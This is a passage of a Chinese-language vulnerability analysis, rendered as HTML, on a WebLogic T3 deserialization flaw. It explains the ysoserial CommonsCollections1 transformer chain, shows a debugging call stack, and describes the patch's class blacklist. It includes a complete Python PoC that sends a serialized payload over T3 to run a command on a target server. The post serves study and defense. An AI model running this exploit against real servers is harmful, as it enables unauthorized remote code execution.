<span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="k">this</span><span class="o">.</span><span class="na">iTransformers</span><span class="o">.</span><span class="na">length</span><span class="o">;</span> <span class="o">++</span><span class="n">i</span><span class="o">)</span> <span class="o">{</span> + <span class="n">object</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">iTransformers</span><span class="o">[</span><span class="n">i</span><span class="o">].</span><span class="na">transform</span><span class="o">(</span><span class="n">object</span><span class="o">);</span> + <span class="o">}</span> + + <span class="k">return</span> <span class="n">object</span><span class="o">;</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 7</em></p> + +<p>这里使用了 for 循环来调用 Transformer 数组的 transform() 方法,并且使用了 object 作为后一个调用transform() 方法的参数。</p> + +<p>现在再回顾一下ysoserial中的利用链代码,形成了一个完美的调用链,利用Java的反射机制执行了命令。</p> + +<p>至于链本身的逻辑,见<code class="language-plaintext highlighter-rouge">参考 6</code>,这里提取关键信息作参考:</p> + +<blockquote> + <ol> + <li>构造一个<code class="language-plaintext highlighter-rouge">ConstantTransformer</code>,把<code class="language-plaintext highlighter-rouge">Runtime</code>的<code class="language-plaintext highlighter-rouge">Class</code>对象传进去,在<code class="language-plaintext highlighter-rouge">transform()</code>时,始终会返回这个对象</li> + <li>构造一个<code class="language-plaintext highlighter-rouge">InvokerTransformer</code>,待调用方法名为<code class="language-plaintext highlighter-rouge">getMethod</code>,参数为<code class="language-plaintext highlighter-rouge">getRuntime</code>,在<code class="language-plaintext highlighter-rouge">transform()</code>时,传入1的结果,此时的<code class="language-plaintext highlighter-rouge">input</code>应该是<code class="language-plaintext highlighter-rouge">java.lang.Runtime</code>,但经过<code class="language-plaintext highlighter-rouge">getClass()</code>之后,<code class="language-plaintext highlighter-rouge">cls</code>为<code class="language-plaintext highlighter-rouge">java.lang.Class</code>,之后<code class="language-plaintext highlighter-rouge">getMethod()</code>只能获取<code class="language-plaintext highlighter-rouge">java.lang.Class</code>的方法,因此才会定义的待调用方法名为<code class="language-plaintext highlighter-rouge">getMethod</code>,然后其参数才是<code class="language-plaintext highlighter-rouge">getRuntime</code>,它得到的是<code class="language-plaintext highlighter-rouge">getMethod</code>这个方法的<code class="language-plaintext highlighter-rouge">Method</code>对象,<code class="language-plaintext highlighter-rouge">invoke()</code>调用这个方法,最终得到的才是<code class="language-plaintext highlighter-rouge">getRuntime</code>这个方法的<code class="language-plaintext highlighter-rouge">Method</code>对象</li> + <li>构造一个<code class="language-plaintext highlighter-rouge">InvokerTransformer</code>,待调用方法名为<code class="language-plaintext highlighter-rouge">invoke</code>,参数为空,在<code class="language-plaintext highlighter-rouge">transform()</code>时,传入2的结果,同理,<code class="language-plaintext highlighter-rouge">cls</code>将会是<code class="language-plaintext highlighter-rouge">java.lang.reflect.Method</code>,再获取并调用它的<code class="language-plaintext highlighter-rouge">invoke</code>方法,实际上是调用上面的<code class="language-plaintext highlighter-rouge">getRuntime()</code>拿到<code class="language-plaintext highlighter-rouge">Runtime</code>对象</li> + <li>构造一个<code class="language-plaintext highlighter-rouge">InvokerTransformer</code>,待调用方法名为<code class="language-plaintext highlighter-rouge">exec</code>,参数为命令字符串,在<code class="language-plaintext highlighter-rouge">transform()</code>时,传入3的结果,获取<code class="language-plaintext highlighter-rouge">java.lang.Runtime</code>的<code class="language-plaintext highlighter-rouge">exec</code>方法并传参调用</li> + <li>最后把它们组装成一个数组全部放进<code class="language-plaintext highlighter-rouge">ChainedTransformer</code>中,在<code class="language-plaintext highlighter-rouge">transform()</code>时,会将前一个元素的返回结果作为下一个的参数,刚好满足需求</li> + </ol> +</blockquote> + +<p>但此时,我们还没法利用,得在weblogic中找个点能触发ChainedTransformer的transform方法。ysoserial给出的点是<code class="language-plaintext highlighter-rouge">AnnotationInvocationHandler::readObject</code>。</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kt">void</span> <span class="nf">readObject</span><span class="o">(</span><span class="nc">ObjectInputStream</span> <span class="n">var1</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span><span class="o">,</span> <span class="nc">ClassNotFoundException</span> <span class="o">{</span> + <span class="n">var1</span><span class="o">.</span><span class="na">defaultReadObject</span><span class="o">();</span> + <span class="nc">AnnotationType</span> <span class="n">var2</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span> + + <span class="k">try</span> <span class="o">{</span> + <span class="n">var2</span> <span class="o">=</span> <span class="nc">AnnotationType</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">type</span><span class="o">);</span> + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IllegalArgumentException</span> <span class="n">var9</span><span class="o">)</span> <span class="o">{</span> + <span class="k">return</span><span class="o">;</span> + <span class="o">}</span> + + <span class="nc">Map</span> <span class="n">var3</span> <span class="o">=</span> <span class="n">var2</span><span class="o">.</span><span class="na">memberTypes</span><span class="o">();</span> + <span class="nc">Iterator</span> <span class="n">var4</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">memberValues</span><span class="o">.</span><span class="na">entrySet</span><span class="o">().</span><span class="na">iterator</span><span class="o">();</span> <span class="o">---</span><span class="mf">8.1</span> + + <span class="k">while</span><span class="o">(</span><span class="n">var4</span><span class="o">.</span><span class="na">hasNext</span><span class="o">())</span> <span class="o">{</span> + <span class="nc">Entry</span> <span class="n">var5</span> <span class="o">=</span> <span class="o">(</span><span class="nc">Entry</span><span class="o">)</span><span class="n">var4</span><span class="o">.</span><span class="na">next</span><span class="o">();</span> + <span class="nc">String</span> <span class="n">var6</span> <span class="o">=</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span><span class="n">var5</span><span class="o">.</span><span class="na">getKey</span><span class="o">();</span> + <span class="nc">Class</span> <span class="n">var7</span> <span class="o">=</span> <span class="o">(</span><span class="nc">Class</span><span class="o">)</span><span class="n">var3</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">var6</span><span class="o">);</span> + <span class="k">if</span> <span class="o">(</span><span class="n">var7</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">Object</span> <span class="n">var8</span> <span class="o">=</span> <span class="n">var5</span><span class="o">.</span><span class="na">getValue</span><span class="o">();</span> + <span class="k">if</span> <span class="o">(!</span><span class="n">var7</span><span class="o">.</span><span class="na">isInstance</span><span class="o">(</span><span class="n">var8</span><span class="o">)</span> <span class="o">&amp;&amp;</span> <span class="o">!(</span><span class="n">var8</span> <span class="k">instanceof</span> <span class="nc">ExceptionProxy</span><span class="o">))</span> <span class="o">{</span> + <span class="n">var5</span><span class="o">.</span><span class="na">setValue</span><span class="o">((</span><span class="k">new</span> <span class="nc">AnnotationTypeMismatchExceptionProxy</span><span class="o">(</span><span class="n">var8</span><span class="o">.</span><span class="na">getClass</span><span class="o">()</span> <span class="o">+</span> <span class="s">"["</span> <span class="o">+</span> <span class="n">var8</span> <span class="o">+</span> <span class="s">"]"</span><span class="o">)).</span><span class="na">setMember</span><span class="o">((</span><span class="nc">Method</span><span class="o">)</span><span class="n">var2</span><span class="o">.</span><span class="na">members</span><span class="o">().</span><span class="na">get</span><span class="o">(</span><span class="n">var6</span><span class="o">)));</span> + <span class="o">}</span> + <span class="o">}</span> + <span class="o">}</span> + + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 8</em></p> + +<p>在8.1处,会形成调用链,到transform。可以参考<code class="language-plaintext highlighter-rouge">信息 1</code>处的注释信息,也可以参考下一小节中的调试信息。</p> + +<p>###T3协议</p> + +<p>见<code class="language-plaintext highlighter-rouge">参考2</code>。</p> + +<p>需要关注的是下一小节的调用栈,可以看到T3协议进来,Weblogic的处理流程。</p> + +<h2 id="0x02-漏洞调试">0x02 漏洞调试</h2> + +<p>在 <code class="language-plaintext highlighter-rouge">ChainedTransformer::transform</code>设定一个断点,看看调用栈:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>transform:122, ChainedTransformer (org.apache.commons.collections.functors) +get:157, LazyMap (org.apache.commons.collections.map) +invoke:51, AnnotationInvocationHandler (sun.reflect.annotation) +entrySet:-1, $Proxy57 (com.sun.proxy) +readObject:328, AnnotationInvocationHandler (sun.reflect.annotation) +invoke0:-1, NativeMethodAccessorImpl (sun.reflect) +invoke:39, NativeMethodAccessorImpl (sun.reflect) +invoke:25, DelegatingMethodAccessorImpl (sun.reflect) +invoke:597, Method (java.lang.reflect) +invokeReadObject:969, ObjectStreamClass (java.io) +readSerialData:1871, ObjectInputStream (java.io) +readOrdinaryObject:1775, ObjectInputStream (java.io) +readObject0:1327, ObjectInputStream (java.io) +readObject:349, ObjectInputStream (java.io) +readObject:66, InboundMsgAbbrev (weblogic.rjvm) +read:38, InboundMsgAbbrev (weblogic.rjvm) +readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm) +init:213, MsgAbbrevInputStream (weblogic.rjvm) +dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm) +dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3) +dispatch:387, BaseAbstractMuxableSocket (weblogic.socket) +readReadySocketOnce:967, SocketMuxer (weblogic.socket) +readReadySocket:899, SocketMuxer (weblogic.socket) +processSockets:130, PosixSocketMuxer (weblogic.socket) +run:29, SocketReaderRequest (weblogic.socket) +execute:42, SocketReaderRequest (weblogic.socket) +execute:145, ExecuteThread (weblogic.kernel) +run:117, ExecuteThread (weblogic.kernel) +</code></pre></div></div> + +<p>​ <em>信息 9</em></p> + +<p>此时<code class="language-plaintext highlighter-rouge">ChainedTransformer</code>对应为:</p> + +<p><img src="/images/Weblogic/image-20200201151125047.png" alt="image-20200201151125047" /></p> + +<p>​ <em>信息 10</em></p> + +<p>利用Java反射机制执行了<code class="language-plaintext highlighter-rouge">touch /tmp/exp</code>。</p> + +<h2 id="0x03-poc">0x03 PoC</h2> + +<p>PoC见<code class="language-plaintext highlighter-rouge">参考2</code>,这里贴出来:</p> + +<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python +# coding: utf-8 +</span> +<span class="kn">import</span> <span class="nn">socket</span> +<span class="kn">import</span> <span class="nn">struct</span> +<span class="kn">import</span> <span class="nn">time</span> + +<span class="k">def</span> <span class="nf">exp</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">):</span> + + <span class="n">sock</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> + <span class="n">sock</span><span class="o">.</span><span class="n">settimeout</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span> + <span class="n">server_address</span> <span class="o">=</span> <span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">port</span><span class="p">))</span> + <span class="n">data</span> <span class="o">=</span> <span class="s">""</span> + <span class="k">try</span><span class="p">:</span> + <span class="n">sock</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">server_address</span><span class="p">)</span> + <span class="c1"># Send headers +</span> <span class="c1">#headers = 't3 12.2.1nAS:255nHL:19nn'.format(port) +</span> <span class="c1">#headers = bytes(headers, encoding = "utf8") +</span> <span class="c1">#sock.sendall(headers) +</span> <span class="c1">#time.sleep(1) +</span> <span class="c1">#data = sock.recv(1024) +</span> + <span class="n">xx</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s">'74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'</span><span class="p">)</span> + <span class="n">sock</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">xx</span><span class="p">)</span> + <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> + <span class="n">sock</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span> + + <span class="c1"># java -jar ysoserial.jar CommonsCollections1 "touch /tmp/exp" &gt; ./tmp +</span> <span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'./tmp'</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span> + <span class="n">payload_obj</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> + <span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> + <span class="n">payload1</span> <span class="o">=</span> <span class="s">"000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000"</span> + <span class="n">payload3</span> <span class="o">=</span> <span class="s">"aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078"</span> + <span class="n">payload1</span><span class="o">=</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">payload1</span><span class="p">)</span> + <span class="n">payload3</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">payload3</span><span class="p">)</span> + <span class="n">payload2</span> <span class="o">=</span> <span class="n">payload_obj</span> + <span class="n">payload</span> <span class="o">=</span> <span class="n">payload1</span> <span class="o">+</span> <span class="n">payload2</span> <span class="o">+</span> <span class="n">payload3</span> + + <span class="n">payload</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'&gt;I'</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span> <span class="o">+</span> <span class="n">payload</span><span class="p">[</span><span class="mi">4</span><span class="p">:]</span> + + <span class="n">sock</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> + <span class="n">data</span> <span class="o">=</span> <span class="n">sock</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">)</span> + <span class="k">except</span> <span class="n">socket</span><span class="o">.</span><span class="n">error</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span> + <span class="k">print</span> <span class="p">(</span><span class="s">u'socket 连接异常!'</span><span class="p">)</span> + <span class="k">finally</span><span class="p">:</span> + <span class="n">sock</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> + +<span class="n">exp</span><span class="p">(</span><span class="s">'172.16.100.97'</span><span class="p">,</span> <span class="mi">7001</span><span class="p">)</span> +</code></pre></div></div> + +<p>​ <em>信息 11</em></p> + +<p>PoC中的利用链主要使用<code class="language-plaintext highlighter-rouge">参考3</code>中的ysoserial生成。</p> + +<p>注意PoC中T3握手的代码有更改。</p> + +<h2 id="0x04-补丁">0x04 补丁</h2> + +<p><code class="language-plaintext highlighter-rouge">参考 5</code>中有介绍本次补丁在如下三个地方有更新:</p> + +<blockquote> + <p>weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream</p> + + <p>weblogic.rjvm.MsgAbbrevInputStream.class</p> + + <p>weblogic.iiop.Utils.class</p> +</blockquote> + +<p><code class="language-plaintext highlighter-rouge">参考 4</code>中也有比较详细的介绍。</p> + +<p>本小节基于参考信息做个整理。</p> + +<p>以<code class="language-plaintext highlighter-rouge">weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream</code>为例,其实<code class="language-plaintext highlighter-rouge">weblogic.rjvm.MsgAbbrevInputStream.class</code>也是一样,都是多了<code class="language-plaintext highlighter-rouge">checkLegacyBlacklistIfNeeded</code>的检查。</p> + +<p><code class="language-plaintext highlighter-rouge">weblogic/rjvm/InboundMsgAbbrev.class</code></p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">protected</span> <span class="nc">Class</span> <span class="nf">resolveClass</span><span class="o">(</span><span class="nc">ObjectStreamClass</span> <span class="n">descriptor</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">ClassNotFoundException</span><span class="o">,</span> <span class="nc">IOException</span> <span class="o">{</span> + <span class="k">try</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">checkLegacyBlacklistIfNeeded</span><span class="o">(</span><span class="n">descriptor</span><span class="o">.</span><span class="na">getName</span><span class="o">());</span> + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">InvalidClassException</span> <span class="n">var4</span><span class="o">)</span> <span class="o">{</span> + <span class="k">throw</span> <span class="n">var4</span><span class="o">;</span> + <span class="o">}</span> + + <span class="nc">Class</span> <span class="n">c</span> <span class="o">=</span> <span class="kd">super</span><span class="o">.</span><span class="na">resolveClass</span><span class="o">(</span><span class="n">descriptor</span><span class="o">);</span> + <span class="k">if</span> <span class="o">(</span><span class="n">c</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">ClassNotFoundException</span><span class="o">(</span><span class="s">"super.resolveClass returns null."</span><span class="o">);</span> + <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> + <span class="nc">ObjectStreamClass</span> <span class="n">localDesc</span> <span class="o">=</span> <span class="nc">ObjectStreamClass</span><span class="o">.</span><span class="na">lookup</span><span class="o">(</span><span class="n">c</span><span class="o">);</span> + <span class="k">if</span> <span class="o">(</span><span class="n">localDesc</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="n">localDesc</span><span class="o">.</span><span class="na">getSerialVersionUID</span><span class="o">()</span> <span class="o">!=</span> <span class="n">descriptor</span><span class="o">.</span><span class="na">getSerialVersionUID</span><span class="o">())</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">ClassNotFoundException</span><span class="o">(</span><span class="s">"different serialVersionUID. local: "</span> <span class="o">+</span> <span class="n">localDesc</span><span class="o">.</span><span class="na">getSerialVersionUID</span><span class="o">()</span> <span class="o">+</span> <span class="s">" remote: "</span> <span class="o">+</span> <span class="n">descriptor</span><span class="o">.</span><span class="na">getSerialVersionUID</span><span class="o">());</span> + <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> + <span class="k">return</span> <span class="n">c</span><span class="o">;</span> + <span class="o">}</span> + <span class="o">}</span> + <span class="o">}</span> + + <span class="kd">protected</span> <span class="nc">Class</span><span class="o">&lt;?&gt;</span> <span class="n">resolveProxyClass</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">interfaces</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span><span class="o">,</span> <span class="nc">ClassNotFoundException</span> <span class="o">{</span> + <span class="nc">String</span><span class="o">[]</span> <span class="n">var2</span> <span class="o">=</span> <span class="n">interfaces</span><span class="o">;</span> + <span class="kt">int</span> <span class="n">var3</span> <span class="o">=</span> <span class="n">interfaces</span><span class="o">.</span><span class="na">length</span><span class="o">;</span> + + <span class="k">for</span><span class="o">(</span><span class="kt">int</span> <span class="n">var4</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">var4</span> <span class="o">&lt;</span> <span class="n">var3</span><span class="o">;</span> <span class="o">++</span><span class="n">var4</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">String</span> <span class="n">intf</span> <span class="o">=</span> <span class="n">var2</span><span class="o">[</span><span class="n">var4</span><span class="o">];</span> + <span class="k">if</span> <span class="o">(</span><span class="n">intf</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="s">"java.rmi.registry.Registry"</span><span class="o">))</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">InvalidObjectException</span><span class="o">(</span><span class="s">"Unauthorized proxy deserialization"</span><span class="o">);</span> + <span class="o">}</span> + <span class="o">}</span> + + <span class="k">return</span> <span class="kd">super</span><span class="o">.</span><span class="na">resolveProxyClass</span><span class="o">(</span><span class="n">interfaces</span><span class="o">);</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 12</em></p> + +<p>checkLegacyBlacklistIfNeeded`代码如下:</p> + +<p>weblogic/utils/io/FilteringObjectInputStream.class`</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">protected</span> <span class="kt">void</span> <span class="nf">checkLegacyBlacklistIfNeeded</span><span class="o">(</span><span class="nc">String</span> <span class="n">className</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">InvalidClassException</span> <span class="o">{</span> + <span class="nc">WebLogicObjectInputFilter</span><span class="o">.</span><span class="na">checkLegacyBlacklistIfNeeded</span><span class="o">(</span><span class="n">className</span><span class="o">);</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 13</em></p> + +<p>weblogic/rjvm/InboundMsgAbbrev.class</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">checkLegacyBlacklistIfNeeded</span><span class="o">(</span><span class="nc">String</span> <span class="n">className</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">InvalidClassException</span> <span class="o">{</span> + <span class="n">checkInitialized</span><span class="o">();</span> + <span class="k">if</span> <span class="o">(!</span><span class="n">isJreFilteringAvailable</span><span class="o">)</span> <span class="o">{</span> + <span class="k">if</span> <span class="o">(</span><span class="n">isBlacklistedLegacy</span><span class="o">(</span><span class="n">className</span><span class="o">))</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">InvalidClassException</span><span class="o">(</span><span class="n">className</span><span class="o">,</span> <span class="s">"Unauthorized deserialization attempt"</span><span class="o">);</span> + <span class="o">}</span> + <span class="o">}</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 14</em></p> + +<p>注意这里只有在JRE自带的过滤器不可用的情况下,才会执行<code class="language-plaintext highlighter-rouge">isBlacklistedLegacy</code>。</p> + +<p><code class="language-plaintext highlighter-rouge">weblogic/utils/io/oif/WebLogicObjectInputFilter.class</code></p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">private</span> <span class="kd">static</span> <span class="kt">boolean</span> <span class="nf">isBlacklistedLegacy</span><span class="o">(</span><span class="nc">String</span> <span class="n">className</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">String</span> <span class="n">normalizedName</span> <span class="o">=</span> <span class="n">normalizeClassName</span><span class="o">(</span><span class="n">className</span><span class="o">);</span> + <span class="k">if</span> <span class="o">(</span><span class="no">LEGACY_BLACKLIST</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="n">normalizedName</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> + <span class="k">if</span> <span class="o">(</span><span class="no">LEGACY_BLACKLIST</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="n">normalizedName</span><span class="o">))</span> <span class="o">{</span> + <span class="k">return</span> <span class="kc">true</span><span class="o">;</span> + <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> + <span class="nc">String</span> <span class="n">pkgName</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span> + + <span class="k">try</span> <span class="o">{</span> + <span class="n">pkgName</span> <span class="o">=</span> <span class="n">normalizedName</span><span class="o">.</span><span class="na">substring</span><span class="o">(</span><span class="mi">0</span><span class="o">,</span> <span class="n">normalizedName</span><span class="o">.</span><span class="na">lastIndexOf</span><span class="o">(</span><span class="mi">46</span><span class="o">));</span> + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">var4</span><span class="o">)</span> <span class="o">{</span> + <span class="k">return</span> <span class="kc">false</span><span class="o">;</span> + <span class="o">}</span> + + <span class="k">return</span> <span class="n">pkgName</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">pkgName</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">()</span> <span class="o">&amp;&amp;</span> <span class="no">LEGACY_BLACKLIST</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="n">pkgName</span><span class="o">);</span> + <span class="o">}</span> + <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> + <span class="k">return</span> <span class="kc">false</span><span class="o">;</span> + <span class="o">}</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 15</em></p> + +<p>这个函数会使用LEGACY_BLACKLIST来检查包名和类名。而<code class="language-plaintext highlighter-rouge">LEGACY_BLACKLIST</code>的赋值来自于:</p> + +<ul> + <li>DEFAULT_BLACKLIST_CLASSES</li> + <li>DEFAULT_BLACKLIST_PACKAGES</li> + <li>blacklist</li> +</ul> + +<p><code class="language-plaintext highlighter-rouge">weblogic/utils/io/oif/WebLogicFilterConfig.class</code></p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kt">void</span> <span class="nf">constructLegacyBlacklist</span><span class="o">(</span><span class="nc">String</span> <span class="n">blacklist</span><span class="o">,</span> <span class="kt">boolean</span> <span class="n">isBlacklistDisabled</span><span class="o">,</span> <span class="kt">boolean</span> <span class="n">isDefaultBlacklistDisabled</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">Set</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="n">blacklistSet</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span> + <span class="k">if</span> <span class="o">(!</span><span class="n">isBlacklistDisabled</span><span class="o">)</span> <span class="o">{</span> + <span class="n">blacklistSet</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashSet</span><span class="o">(</span><span class="mi">32</span><span class="o">);</span> + <span class="k">if</span> <span class="o">(!</span><span class="n">isDefaultBlacklistDisabled</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">String</span><span class="o">[]</span> <span class="n">var5</span> <span class="o">=</span> <span class="no">DEFAULT_BLACKLIST_CLASSES</span><span class="o">;</span> + <span class="kt">int</span> <span class="n">var6</span> <span class="o">=</span> <span class="n">var5</span><span class="o">.</span><span class="na">length</span><span class="o">;</span> + + <span class="kt">int</span> <span class="n">var7</span><span class="o">;</span> + <span class="nc">String</span> <span class="n">s</span><span class="o">;</span> + <span class="k">for</span><span class="o">(</span><span class="n">var7</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">var7</span> <span class="o">&lt;</span> <span class="n">var6</span><span class="o">;</span> <span class="o">++</span><span class="n">var7</span><span class="o">)</span> <span class="o">{</span> + <span class="n">s</span> <span class="o">=</span> <span class="n">var5</span><span class="o">[</span><span class="n">var7</span><span class="o">];</span> + <span class="n">blacklistSet</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">s</span><span class="o">);</span> + <span class="o">}</span> + + <span class="n">var5</span> <span class="o">=</span> <span class="no">DEFAULT_BLACKLIST_PACKAGES</span><span class="o">;</span> + <span class="n">var6</span> <span class="o">=</span> <span class="n">var5</span><span class="o">.</span><span class="na">length</span><span class="o">;</span> + + <span class="k">for</span><span class="o">(</span><span class="n">var7</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">var7</span> <span class="o">&lt;</span> <span class="n">var6</span><span class="o">;</span> <span class="o">++</span><span class="n">var7</span><span class="o">)</span> <span class="o">{</span> + <span class="n">s</span> <span class="o">=</span> <span class="n">var5</span><span class="o">[</span><span class="n">var7</span><span class="o">];</span> + <span class="n">blacklistSet</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">s</span><span class="o">);</span> + <span class="o">}</span> + <span 